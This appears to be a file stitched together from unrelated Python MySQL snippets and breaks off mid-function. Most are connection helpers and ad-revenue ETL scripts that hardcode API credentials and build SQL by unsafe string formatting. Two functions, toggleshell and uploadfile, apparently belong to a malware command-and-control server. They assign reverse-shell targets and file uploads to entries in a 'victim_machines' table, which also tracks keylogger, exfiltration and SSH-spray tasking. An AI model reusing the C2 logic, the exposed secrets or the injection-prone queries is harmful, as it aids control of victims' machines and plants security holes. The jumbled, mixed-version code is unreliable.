def query_row(table):
"""Returns the next row of a query result set or None
str -> tuple"""
try:
dbconfig = read_db_config() # returns a dict of connection parameters
print("Connecting " + dbconfig["user"] + " to " + dbconfig["database"] + "...")
conn = MySQLConnection(**dbconfig)
if conn.is_connected():
print("Connection established.")
else:
print("Connection failed")
cursor = conn.cursor(buffered=True)
sql_command = "SELECT * FROM " + table
print("Executed command: " + sql_command + ".")
cursor.execute(sql_command)
row = cursor.fetchone()
return row
# The fetchall method is similar but memory-consuming
# rows = cursor.fetchall()
# print('Total rows:', cursor.rowcount)
# return rows
except Error as e:
print(e)
finally:
cursor.close()
conn.close()
def Connect():
kwargs = ReadingMySQLConfig()
MyConnection = MySQLConnection(**kwargs)
try:
if MyConnection.is_connected():
print("Connected")
except Error as e:
print(e)
finally:
MyConnection.close()
def __init__(self):
global cursor
global conn
try:
print('Connecting to MySQL database...')
conn = MySQLConnection(user='******', password='******', database='geom') # Connect to MySQL database
cursor = conn.cursor()
if conn.is_connected():
print('connection established.')
else:
print('connection failed.')
except Error as error:
print(error)
def connect():
""" Connect to MySQL database """
dbConfig = readDbConfig()
try:
print('Connecting to MySQL database...')
conn = MySQLConnection(**dbConfig)
if(conn.is_connected()):
print('Connected to database')
return conn
else:
print('Failed to connect to database')
except Error as error:
print(error)
def connect():
db_config = read_db_config()
try:
print 'Connecting to database: {0}...'.format(db_config['database'])
conn = MySQLConnection(**db_config)
if conn.is_connected():
print 'Connection established.'
return conn
else:
print 'Connection failed.'
except Error as e:
print e.message
def connect():
"""Connect to MySQL database
none -> none"""
db_config = read_db_config()
try:
print('Connecting to MySQL database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
else:
print('Connection failed.')
except Error as e:
print(e)
finally:
conn.close()
print('Connection closed.')
def sql(self, args, **kwargs):
if args == 'test':
try:
print('--- Connect to MySQL server:', self.__SQLhost)
connect = MySQLConnection(host=self.__SQLhost, database=self.__SQLbase,
user=self.__SQLuser, password=self.__SQLpass)
if connect.is_connected():
print('--- Connected to MySQL database', self.__SQLbase)
connect.close()
except SQLError as e:
print('***', e)
self.__systest = False
def connect(): ''' Connect to MySql Database''' db_config = read_db_config() print db_config try: conn = MySQLConnection(**db_config) print "Connecting to MySql database..." if conn.is_connected(): print "Connection establish" else: print "Connection Failed" except Error as e: print "[SOMETHING BAD HAPPEND...]",e finally: conn.close() print 'Connection Closed'
def connect():
""" Connect to MySQL database """
db_config = read_db_config()
try:
print('Connecting to MySQL database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('connection established.')
else:
print('connection failed.')
except Error as error:
print(error)
return conn
def connecting():
db_config = read_db_config()
success = False
try:
print('Connecting to database....')
mysqlConn = MySQLConnection(**db_config)
if mysqlConn.is_connected():
print('connection estabslished.')
success = True
else:
print('connection failed')
return mysqlConn
except Error as err:
print(err)
return
def connect(db_data):
""" Connect to MySQL database """
try:
print('Connecting to MySQL database...')
conn = MySQLConnection(**db_data)
if conn.is_connected():
print('connection established.')
else:
print('connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect(fName='../../conf/config.ini'):
""" Connect to MySQL database """
db_config = read_db_config(fName)
try:
print('Connecting to MySQL database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('connection established.')
else:
print('connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
""" Connect to MySQL database """
db_config = {'password': '******', 'host': 'localhost', 'user': '******', 'database': 'stats'}
try:
print('Connecting to MySQL database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('connection established.')
else:
print('connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
"""Connect to mysql database"""
db_config = read_db_config()
try:
"""
conn = mysql.connector.connect(host='localhost',
database='python_mysql',
user='******',
password='******') """
print("Connecting to MySQL databse...")
conn = MySQLConnection(**db_config)
if conn.is_connected():
print("Connection established")
else:
print("connection failed.")
except Error as e:
print(e)
finally:
conn.close()
print("Connection closed..!")
def connect():
""" Connect to MySQL database """
db_config = read_db_config("config.ini", "mysql")
table_config = read_db_config("config.ini", "tabledata")
try:
print('Connecting to MySQL database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('connection established.')
spotifyCall(conn, table_config)
else:
print('connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
#"""Gets Springserve data and writes to MySQL table"""
db = "mysql_dl"
api = "springs"
# Connect to DB:
db_config = read_db_config(db)
try:
print('Connecting to databse...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
# Create Table:
sql = "DROP TABLE IF EXISTS springserve_InventorySources_v2"
cursor.execute(sql)
sql = "CREATE TABLE springserve_InventorySources_v2(rownum INT NOT NULL AUTO_INCREMENT PRIMARY KEY, date varchar(25), \
inventory_source varchar(255), media varchar(255), ad_opportunities bigint, \
ad_attempts bigint, ad_impressions bigint, ad_revenue decimal(15,5), clicks int)"
cursor.execute(sql)
# call to get logintoken
logintoken = springs_api.get_logintoken(api)
print(logintoken)
for page in range(1, 20):
jsoninfo = {
"date_range": "Yesterday",
"interval": "day",
"timezone": "America/Los_Angeles",
"dimensions": ["supply_tag_id", "declared_domain"],
#"reportFormat": "JSON",
#"startDate": yesterday,
#"endDate": yesterday,
#"sort": [{ "field": "ad_revenue", "order": "desc"}]
"page": str(page)
}
result = springs_api.get_data(logintoken, jsoninfo)
#print(result.text)
info = json.loads(result.text)
#print(info)
# Use default ot populate null data
default = 'Not Available'
for x in info:
rownum = ''
date1 =x['date']
date = date1[:10]
inventory_source = x['supply_tag_name'].replace('"', "").replace("'", "")
media = x.get('declared_domain', default).replace("'", "").replace('"', "")
ad_opportunities = x['total_requests']
ad_attempts = x['opportunities']
ad_impressions = x['total_impressions']
ad_revenue = x['revenue']
clicks = x['clicks']
list = (rownum, date, inventory_source, media, ad_opportunities, ad_attempts, ad_impressions, \
ad_revenue, clicks)
#print(list)
sql = """INSERT INTO springserve_InventorySources_v2 VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s")""" % \
(rownum, date, inventory_source, media, ad_opportunities, ad_attempts, ad_impressions, ad_revenue, clicks)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def toggleshell( id, ip, port ):
#base query to check whether or not the id requested appears in the database
query = """ SELECT command, command_output, command_record FROM victim_machines WHERE victim_id =%s """
data = (id,)
#https://www.mysqltutorial.org/python-mysql-update/
try:
#connect to the mysql database
connection = MySQLConnection(host='localhost',database='JOB_C2',user='******',password='******',auth_plugin='mysql_native_password')
if connection.is_connected():
print('Connected to JOB_C2 database')
cursor = connection.cursor(buffered=True)
cursor.execute(query,data)
result = cursor.fetchall()
# print(result[0][0])
if result:
print("id found in the database, modifying entry...")
#grab old command, decode it, add the new command in json, re-encode it
decoded_command = decode(result[0][0])
json_data = json.loads(decoded_command)
json_data["shell"]["ip"] = ip
json_data["shell"]["port"] = port
# print(json.dumps(json_data))
json_string = str(json.dumps(json_data))
encoded_updated = encode(json_string)
decoded_command_record = decode(result[0][2])
json_data = json.loads(decoded_command_record)
json_data["shell"]["ip"] = ip
json_data["shell"]["port"] = port
json_string = str(json.dumps(json_data))
encoded_record = encode(json_string)
#update the database if the row already exists
update_query = """ UPDATE victim_machines SET command=%s WHERE victim_id=%s """
update_data = (encoded_updated, id)
command_record_query = """ UPDATE victim_machines SET command_record=%s WHERE victim_id=%s """
command_record_data = (encoded_record, id)
cursor.execute(update_query, update_data)
cursor.execute(command_record_query, command_record_data)
#catch the case in which the victim_id does not exist in the table and create a new entry
else:
print("id not found in the database")
print("creating new entry in database...")
seconds_from_epoch = int(time.time())
empty_json = "e30="
default_group_id = 1
formatted_command = "{\"commands\": {}, \"exfiltrate\": {}, \"infiltrate\": {}, \"keylogger\": \"0\", \"shell\": {\"ip\": \"" + ip + "\", \"port\": \"" + port + "\"}, \"sshspray\": \"0\"}"
formatted_encoded = encode(formatted_command)
create_query = """ INSERT INTO victim_machines (victim_id, group_id, command, command_output, command_record, file_names) VALUES (%s, %s, %s, %s, %s, %s) """
create_data = (id, default_group_id, formatted_encoded,empty_json, formatted_encoded, empty_json)
cursor.execute(create_query, create_data)
connection.commit()
except Error as error:
print(error)
finally:
cursor.close()
connection.close()
return True
def uploadfile(id, file_path, file_name):
#FILE_PATH IS WHERE THE FILE IS LOCALLY, FILE_NAME IS THE REMOTE FILE PATH TO STORE IT
#base query to check whether or not the id requested appears in the database
query = """ SELECT command, file_names, command_record FROM victim_machines WHERE victim_id =%s """
data = (id, )
#https://www.mysqltutorial.org/python-mysql-update/
try:
#connect to the mysql database
connection = MySQLConnection(host='localhost',
database='JOB_C2',
user='******',
password='******',
auth_plugin='mysql_native_password')
if connection.is_connected():
print('Connected to JOB_C2 database')
cursor = connection.cursor(buffered=True)
cursor.execute(query, data)
result = cursor.fetchall()
# print(result[0][0])
if result:
print("id found in the database, modifying entry...")
#grab old command, decode it, add the new command in json, re-encode it
decoded_command = decode(result[0][0])
json_data = json.loads(decoded_command)
seconds_from_epoch = int(time.time())
new_command = {str(seconds_from_epoch): file_name}
json_data["infiltrate"].update(new_command)
# print(json.dumps(json_data))
json_string = str(json.dumps(json_data))
encoded_updated = encode(json_string)
#update command_record SEPARATELY
decoded_command_record = decode(result[0][2])
json_data = json.loads(decoded_command_record)
json_data["infiltrate"].update(new_command)
json_string_record = str(json.dumps(json_data))
encoded_record = encode(json_string_record)
#add the epoch and custom file name to the table for future use
decoded_filenames = decode(result[0][1])
filename_data = json.loads(decoded_filenames)
new_filename = {str(seconds_from_epoch): {file_path: "0"}}
filename_data.update(new_filename)
# print(json.dumps(filename_data))
#encode the custom filename to be added to the database
json_file = str(json.dumps(filename_data))
filename_updated = encode(json_file)
#update the database if the row already exists
update_query = """ UPDATE victim_machines SET command=%s WHERE victim_id=%s """
update_data = (encoded_updated, id)
update_command_record = """ UPDATE victim_machines SET command_record=%s WHERE victim_id=%s """
update_command_data = (encoded_record, id)
command_record_query = """ UPDATE victim_machines SET file_names=%s WHERE victim_id=%s """
update_file_data = (filename_updated, id)
cursor.execute(update_query, update_data)
cursor.execute(update_command_record, update_command_data)
cursor.execute(command_record_query, update_file_data)
#catch the case in which the victim_id does not exist in the table and create a new entry
else:
print("id not found in the database")
print("creating new entry in database...")
seconds_from_epoch = int(time.time())
empty_command_output = "e30="
default_group_id = 1
formatted_command = "{\"commands\": {}, \"exfiltrate\":{}, \"infiltrate\": {\"" + str(
seconds_from_epoch
) + "\": \"" + file_name + "\"}, \"keylogger\": \"0\", \"shell\": {\"ip\": \"0.0.0.0\", \"port\": \"0\"}, \"sshspray\": \"0\"}"
formatted_encoded = encode(formatted_command)
custom_filename = "{\"" + str(
seconds_from_epoch) + "\": {\"" + file_path + "\": \"0\"}}"
encoded_custom_filename = encode(custom_filename)
create_query = """ INSERT INTO victim_machines (victim_id, group_id, command, command_output, command_record, file_names) VALUES (%s, %s, %s, %s, %s, %s) """
create_data = (id, default_group_id, formatted_encoded,
empty_command_output, formatted_encoded,
encoded_custom_filename)
cursor.execute(create_query, create_data)
connection.commit()
except Error as error:
print(error)
finally:
cursor.close()
connection.close()
return True
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_sl"
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS dc_core_yesterday_media"
cursor.execute(sql)
sql = "CREATE TABLE dc_core_yesterday_media (date varchar(25), inventory_source varchar(255), media varchar(255), \
ad_opportunities bigint, market_opportunities bigint, ad_attempts bigint, ad_impressions bigint, ad_errors bigint, \
ad_revenue decimal(15, 5), aol_cost decimal(15, 5), epiphany_gross_revenue decimal(15, 5), dc_revenue decimal(15, 5), \
clicks bigint, iab_viewability_measurable_ad_impressions bigint, iab_viewable_ad_impressions bigint, platform int)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(
"0e30062d-6746-4a9b-882a-3f61185479c7",
"9O7SnFq/yDbNK+4M2bkSqg")
print(logintoken)
result = aol_api.run_existing_report(logintoken, "143983")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
date = x['row'][0]
inventory_source = x['row'][1]
media = x['row'][2]
ad_opportunities = x['row'][3]
market_opportunities = x['row'][4]
ad_attempts = x['row'][5]
ad_impressions = x['row'][6]
ad_errors = x['row'][7]
ad_revenue = x['row'][8]
aol_cost = x['row'][8]
epiphany_gross_revenue = x['row'][8]
dc_revenue = x['row'][8]
clicks = x['row'][9]
iab_viewability_measurable_ad_impressions = x['row'][10]
iab_viewable_ad_impressions = x['row'][11]
platform = '2'
list = (date, inventory_source, media, ad_opportunities, market_opportunities, ad_attempts, ad_impressions, \
ad_errors, ad_revenue, aol_cost, epiphany_gross_revenue, dc_revenue, clicks, \
iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, platform)
#print(list)
sql = """INSERT INTO dc_core_yesterday_media VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", \
"%s"*.20, "%s"*.56, "%s"*.24, "%s", "%s", "%s", "%s")""" % (date, inventory_source, media,
ad_opportunities, market_opportunities, ad_attempts, ad_impressions, ad_errors, ad_revenue, aol_cost, \
epiphany_gross_revenue, dc_revenue, clicks, iab_viewability_measurable_ad_impressions, \
iab_viewable_ad_impressions, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_dp"
api = "tm"
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS tm_inventorysources"
cursor.execute(sql)
sql = "CREATE TABLE tm_inventorysources (date varchar(25), inventory_source varchar(255), ad_opportunities bigint, \
ad_attempts bigint, ad_impressions bigint, ad_revenue decimal(15, 5), ecpm decimal(15, 5), platform int)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(api)
print(logintoken)
result = aol_api.run_existing_report(logintoken, "169500")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
date = x['row'][0]
inventory_source = x['row'][1]
ad_opportunities = x['row'][2]
ad_attempts = x['row'][3]
ad_impressions = x['row'][4]
ad_revenue = x['row'][5]
ecpm = x['row'][6]
platform = '5'
list = (date, inventory_source, ad_opportunities, ad_attempts,
ad_impressions, ad_revenue, ecpm, platform)
#print(list)
sql = """INSERT INTO tm_inventorysources VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s")""" % \
(date, inventory_source, ad_opportunities, ad_attempts, ad_impressions, ad_revenue, ecpm, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
class MySQL(MySQLBase):
def __init__(self, host: str, port: int, user: str, password: str):
super().__init__()
self.__db = MySQLConnection()
self.__devices_data_fields = [
'id', 'time', 'temperature', 'air_humidity', 'count', 'bbox', 'img'
]
self.__users_data_fields = [
'id', 'time', 'count', 'bbox', 'img', 'coordinates'
]
self.__connect(host, port, user, password)
def __connect(self, host: str, port: int, user: str,
password: str) -> bool:
try:
self.__db.connect(host=host, port=port, user=user, passwd=password)
return True
except sql.errors.InterfaceError:
return False
def __reconnect(self) -> bool:
try:
self.__db.reconnect()
return True
except sql.errors.InterfaceError:
return False
def user_auth_check(self, login, password) -> bool:
if not self.__db.is_connected():
self.__reconnect()
if self.__db.is_connected():
if self.sql_check(login):
query = MySQLQueries.USER_AUTH_CHECK
answer = self.execute(
self.__db, query,
[login,
hashlib.md5(bytes(password, 'utf-8')).hexdigest()])[0][0]
return bool(answer)
else:
return False
else:
return False
def device_in_db(self, device_token) -> bool:
if not self.__db.is_connected():
self.__reconnect()
if self.__db.is_connected():
if self.sql_check(device_token):
query = MySQLQueries.DEVICE_IN_DB
answer = self.execute(self.__db, query, [device_token])[0][0]
return bool(answer)
else:
return False
else:
return False
def camera_in_db(self, camera_token) -> bool:
if not self.__db.is_connected():
self.__reconnect()
if self.__db.is_connected():
if self.sql_check(camera_token):
query = MySQLQueries.CAMERA_IN_DB
answer = self.execute(self.__db, query, [camera_token])[0][0]
return bool(answer)
else:
return False
else:
return False
def save_device_package(self, data: IcicleSpyPackage,
influx_db: Influx) -> bool:
if not self.__db.is_connected():
self.__reconnect()
if self.__db.is_connected():
query = MySQLQueries.DEVICE_ID_BY_TOKEN
device_id = self.execute(self.__db, query,
[data.device_token])[0][0]
query = MySQLQueries.CAMERA_ID_BY_TOKEN
camera_id = self.execute(self.__db, query,
[data.camera_token])[0][0]
query = MySQLQueries.DEVICE_RECORD_ID_EXISTS
record_id = self.execute(self.__db, query, [device_id, camera_id])
if len(record_id) == 0:
query = MySQLQueries.SAVE_DEVICE_PACKAGE
self.execute(self.__db,
query, [
data.time, data.temperature,
data.air_humidity, data.count,
str(data.bbox), data.img, device_id, camera_id
],
set=True)
elif len(record_id) == 1:
query = MySQLQueries.UPDATE_DEVICE_RECORD
self.execute(self.__db,
query, [
data.time, data.temperature,
data.air_humidity, data.count,
str(data.bbox), data.img, record_id[0][0],
device_id, camera_id
],
set=True)
else:
return False
query = MySQLQueries.DEVICE_RECORD_ID_EXISTS
record_id = self.execute(self.__db, query,
[device_id, camera_id])[0][0]
query = MySQLQueries.ADDRESS_INFO_BY_IDX
country, region_state, city, street, building, index = self.execute(
self.__db, query, [record_id])[0]
influx_db.save_device_package(device_token=data.device_token,
country=country,
region_state=region_state,
city=city,
street=street,
building=building,
index=index,
temperature=data.temperature,
air_humidity=data.air_humidity)
return True
else:
return False
# def save_mobile_package(self, data: IcicleSpyPackageMobile) -> bool:
# if not self.__db.is_connected():
# self.__reconnect()
#
# if self.__db.is_connected():
# query: str = MySQLQueries.SAVE_MOBILE_PACKAGE
# self.execute(self.__db,
# query,
# [data.time,
# data.count,
# data.bbox,
# data.latitude,
# data.longitude,
# data.users_id],
# set=True)
# return True
# else:
# return False
def get_icicle_count_by_token(self, token: str) -> [int, int, int]:
if not self.__db.is_connected():
self.__reconnect()
if self.__db.is_connected():
query: str = MySQLQueries.GET_ICICLE_COUNT_BY_TOKEN
min_count, max_count, avg = self.execute(self.__db, query,
[token])[0]
if int(min_count) is not None and int(
max_count) is not None and int(avg) is not None:
return int(min_count), int(max_count), int(avg)
else:
return -1, -1, -1
else:
return -1, -1, -1
def get_data_by_id(self, id: int, request: list) -> list:
if not self.__db.is_connected():
self.__reconnect()
if self.__db.is_connected():
for r in request:
if r not in self.__devices_data_fields and self.sql_check(r):
return []
query: str = MySQLQueries.DEVICE_RECORD_ID_BY_ID
query: str = query % (', '.join(request), '%s')
data = self.execute(self.__db, query, [id])
return_data = []
for d in data:
tmp = {}
for r, dd in zip(request, d):
tmp[r] = dd
return_data.append(tmp)
return return_data
else:
return []
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_dl"
api = "adtrans"
report_book = [190605, 190606, 190607, 190608, 190609, 190610]
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to databse...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS adtrans_InventorySources_v2"
cursor.execute(sql)
sql = "CREATE TABLE adtrans_InventorySources_v2 (rownum INT NOT NULL AUTO_INCREMENT PRIMARY KEY, date varchar(25), inventory_source varchar(255), geo_country varchar(50), \
media varchar(255), ad_opportunities bigint, ad_attempts bigint, ad_impressions bigint, ad_revenue decimal(15,5), \
ecpm decimal(6,4), ad_errors int, iab_viewability_measurable_ad_impressions bigint, \
iab_viewable_ad_impressions bigint, market_ops varchar(255), clicks int)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(api)
print(logintoken)
for report in report_book:
result = aol_api.run_existing_report(logintoken, str(report))
#print(result)
print(str(report))
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
rownum = ''
date = x['row'][0]
inventory_source = x['row'][1].replace("'", " -").replace(
'"', "")
geo_country = x['row'][2].replace("'", "")
media = x['row'][3].replace('"', "").replace("'", "")
ad_opportunities = x['row'][4]
ad_attempts = x['row'][5]
ad_impressions = x['row'][6]
ad_revenue = x['row'][7]
ecpm = x['row'][8]
ad_errors = x['row'][9]
iab_viewability_measurable_ad_impressions = x['row'][10]
iab_viewable_ad_impressions = x['row'][11]
market_ops = x['row'][12]
clicks = x['row'][13].replace(" ", "0")
list = (rownum, date, inventory_source, geo_country, media, ad_opportunities, ad_attempts, ad_impressions, \
ad_revenue, ecpm, ad_errors, iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, market_ops, clicks)
#print(list)
sql = """INSERT INTO adtrans_InventorySources_v2 VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", \
"%s", "%s", "%s", "%s")""" % (rownum, date, inventory_source, geo_country, media, ad_opportunities, ad_attempts, ad_impressions, \
ad_revenue, ecpm, ad_errors, iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, market_ops, clicks)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_sl"
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS v3_market_yesterday"
cursor.execute(sql)
sql = "CREATE TABLE v3_market_yesterday (date varchar(25), hour int, buyer_organization varchar(255), \
inventory_source varchar(255), market_opportunities bigint, ad_attempts bigint, ad_impressions bigint, \
ad_errors bigint, ad_revenue decimal(15, 5), total_clicks int, iab_viewability_measurable_ad_impressions bigint, \
iab_viewable_ad_impressions bigint)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(
"daf5fa63-56c4-4279-842e-639c9af75750",
"C5eBl8aErmCMO2+U85LGpw")
print logintoken
result = aol_api.run_existing_report(logintoken, "143991")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
date = x['row'][0]
hour = x['row'][1]
buyer_organization = x['row'][2]
inventory_source = x['row'][3]
market_opportunities = x['row'][4]
ad_attempts = x['row'][5]
ad_impressions = x['row'][6]
ad_errors = x['row'][7]
ad_revenue = x['row'][8]
total_clicks = x['row'][9]
iab_viewability_measurable_ad_impressions = x['row'][10]
iab_viewable_ad_impressions = x['row'][11]
list = (date, hour, buyer_organization, inventory_source, market_opportunities, ad_attempts, ad_impressions, \
ad_errors, ad_revenue, total_clicks, iab_viewability_measurable_ad_impressions, \
iab_viewable_ad_impressions)
#print(list)
sql = """INSERT INTO v3_market_yesterday VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", \
"%s", "%s", "%s")""" % (date, hour, buyer_organization, inventory_source, market_opportunities, \
ad_attempts, ad_impressions, ad_errors, ad_revenue, total_clicks, \
iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
#"""Gets Springserve data and writes to MySQL table"""
db = "mysql_sl"
api = "springs"
# Connect to DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established')
cursor = conn.cursor()
# Create Table:
sql = "DROP TABLE IF EXISTS springserve_market_today"
cursor.execute(sql)
sql = "CREATE TABLE springserve_market_today (date varchar(25), hour varchar(2), demand_partner_name varchar(255), source_id varchar(10), \
supply_source varchar(255), total_requests bigint, ad_opportunities bigint, ad_impressions bigint, \
clicks bigint, revenue decimal(15, 5))"
cursor.execute(sql)
# call to get logintoken
logintoken = springs_api.get_logintoken(api)
print(logintoken)
jsoninfo = {
"date_range": "Today",
"interval": "hour",
"timezone": "America/Los_Angeles",
"dimensions": ["supply_tag_id", "demand_partner_id"],
#"start_date": Today,
#"endDate": Today,
#"sort": [{ "field": "ad_revenue", "order": "desc"}]
}
result = springs_api.get_data(logintoken, jsoninfo)
#print(result.text)
info = json.loads(result.text)
#print(info)
# use default to populate null data
default = '0'
for x in info:
date1 = x['date']
date = date1[:10]
time1 = x['date']
time2 = time1[11:-8].replace("00", "*0").lstrip("0")
hour = time2.replace("*0", "0")
demand_partner1 = x['demand_partner_name']
demand_partner_name = demand_partner1[:-4]
source_id = x['supply_tag_id']
supply_source = x['supply_tag_name']
total_requests = x['demand_requests']
ad_opportunities = x['demand_requests']
ad_impressions = x['impressions']
clicks = x['clicks']
revenue = x['revenue']
list = (date, hour, demand_partner_name, source_id,
supply_source, total_requests, ad_opportunities,
ad_impressions, clicks, revenue)
#print(list)
sql = """INSERT INTO springserve_market_today VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s")""" % \
(date, hour, demand_partner_name, source_id, supply_source, total_requests, ad_opportunities, ad_impressions, clicks, revenue)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
#"""Gets Springserve data and writes to MySQL table"""
db = "mysql_eom"
api = "springs"
# Connect to DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
# Create Table:
sql = "DROP TABLE IF EXISTS springserve_market_private_EOM"
cursor.execute(sql)
sql = "CREATE TABLE springserve_market_private_EOM (date varchar(25), source_id varchar(10), supply_source varchar(255), \
country varchar(100), demand_partner varchar(100), tag_requests bigint, ad_impressions bigint, \
revenue decimal(15, 5), clicks bigint, platform int)"
cursor.execute(sql)
# call to get logintoken
logintoken = springs_api.get_logintoken(api)
print(logintoken)
for page in range(1, 20):
jsoninfo = {
#"date_range": "Yesterday",
"interval": "day",
"timezone": "America/Los_Angeles",
"dimensions": ["supply_tag_id", "country", "demand_partner_id"],
#"reportFormat": "JSON",
"start_date": "2017-10-01",
"end_date": "2017-10-31",
#"sort": [{ "field": "ad_revenue", "order": "desc"}]
"page": str(page)
}
result = springs_api.get_data(logintoken, jsoninfo)
#print(result.text)
info = json.loads(result.text)
#print(info)
# use default to populate null data
default = 'Not Applicable'
for x in info:
date1 = x['date']
date = date1[:10]
source_id = x['supply_tag_id']
supply_source = x['supply_tag_name']
country = x.get('country_code', default)
demand_partner1 = x['demand_partner_name']
demand_partner_name = demand_partner1[:-4]
tag_requests = x['demand_requests']
ad_impressions = x['impressions']
revenue = x['revenue']
clicks = x['clicks']
platform = 1
list = (date, source_id, supply_source, country, demand_partner_name, tag_requests, ad_impressions, \
revenue, clicks, platform)
print(list)
sql = """INSERT INTO springserve_market_private_EOM VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", \
"%s", "%s", "%s")""" % (date, source_id, supply_source, country, demand_partner_name, \
tag_requests, ad_impressions, revenue, clicks, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_sl"
api = "tm"
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('connection established.')
cursor = conn.cursor()
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(api)
print(logintoken)
result = aol_api.run_existing_report(logintoken, "190137")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
inventory_source = x['row'][0]
media = x['row'][1]
ad_opportunities = x['row'][2]
market_opportunities = x['row'][3]
ad_attempts = x['row'][4]
ad_impressions = x['row'][5]
ad_errors = x['row'][6]
ad_revenue = x['row'][7]
aol_cost = x['row'][7]
epiphany_gross_revenue = x['row'][7]
tm_revenue = x['row'][7]
clicks = x['row'][8]
iab_viewability_measurable_ad_impressions = x['row'][9]
iab_viewable_ad_impressions = x['row'][10]
platform = '5'
list =(inventory_source, media, ad_opportunities, market_opportunities, ad_attempts, ad_impressions, \
ad_errors, ad_revenue, aol_cost, epiphany_gross_revenue, tm_revenue, clicks, \
iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, platform)
# print(list)
sql = """INSERT INTO tm_core_today_media VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s"*.20, \
"%s"*.64, "%s"*.24, "%s", "%s", "%s", "%s")""" % (inventory_source, media, ad_opportunities, \
market_opportunities, ad_attempts, ad_impressions, ad_errors, ad_revenue, aol_cost, \
epiphany_gross_revenue, tm_revenue, clicks, iab_viewability_measurable_ad_impressions, \
iab_viewable_ad_impressions, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed')
except Error as error:
print(error)
finally:
conn.close()
print('Connection Closed')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_dp"
report_type = "inventorysources"
p_name = sys.argv[1]
p_id = platforms[p_name]["id"]
db_updated = False
# Connect To DB:
db_config = read_db_config(db)
try:
#print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
#print('Connection established.')
cursor = conn.cursor()
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(p_name)
#print(logintoken)
for report in report_book[report_type][p_name]:
